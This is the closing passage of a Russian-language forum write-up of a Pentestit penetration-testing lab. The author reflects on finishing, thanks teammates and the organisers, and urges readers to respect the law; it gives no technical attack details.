Немного по играясь скажу - что мы и Вы на верном пути, токен ТУТ, он где-то рядом! Автор скрипта очень хороший и отзывчивый d3cart который делал его по наводкам нашего очень хорошего товарища и форумчанина взявшего 2 место в лабаратории @BadBlackHat да и скрипт не дам, не просите!
Заключение:
В целом я очень доволен нашим результатом, меньше месяца и мы победили ее, я завершил последний токен 14-м!
Хочу пожелать организаторам никогда не останавливать эту пищу для мозга, которая так нужна всем молодым и растущим безопасникам, аналогов которой нет в просторах интернета, за что команде Pentestit спасибо! Но я бы хотел конечно видеть в личном кабинете хотя-бы занимаемое место.
Так же, хотел отметить, что неважно насколько Вы считаете себя умным или наоборот, помните - только команда специалистов может привести к верному результату, ведь Вы никогда не будете подготовлены во всех областях сразу. Как и команда из Codeby взявшая 2-5 места, мы и наши новые друзья с России, Казахстана, Белоруссии только сплочившись нашли различные варианты решений имея разные взгляды на задачи. Еще раз большое спасибо
Ссылка скрыта от гостей
,
Ссылка скрыта от гостей
,
Ссылка скрыта от гостей
, d3cart,
Ссылка скрыта от гостей
, ну и конечно же взявшему второе место
Ссылка скрыта от гостей
, с которым познакомились уже по завершению лабаратории. Все ребята проявили отзывчивость, умение работать в комманде и целеустремленность, низкий Вам поклон !!!Ну и Вам, кто дочитал все эти умозаключения до конца большое спасибо, растите умственно, становитесь безопаснее с нами... да и совсем забыл, Соблюдайте законодательство, никогда не используйте свои навыки во вред и злонамеренно и эта статья лишь прохождение лабораторной работы и написана для ознакомления. Надеюсь Вам понравилось прохождение и разбор всех тасков и Вы отблагодарите меня за старания и труд
Ну и напоследок, не думайте, что это так сложно, как Выучить C++ за 21 день. Всегда стремитесь и Вас всегда будет ждать успех!
Статья взята с https://securixy.kz
Последнее редактирование: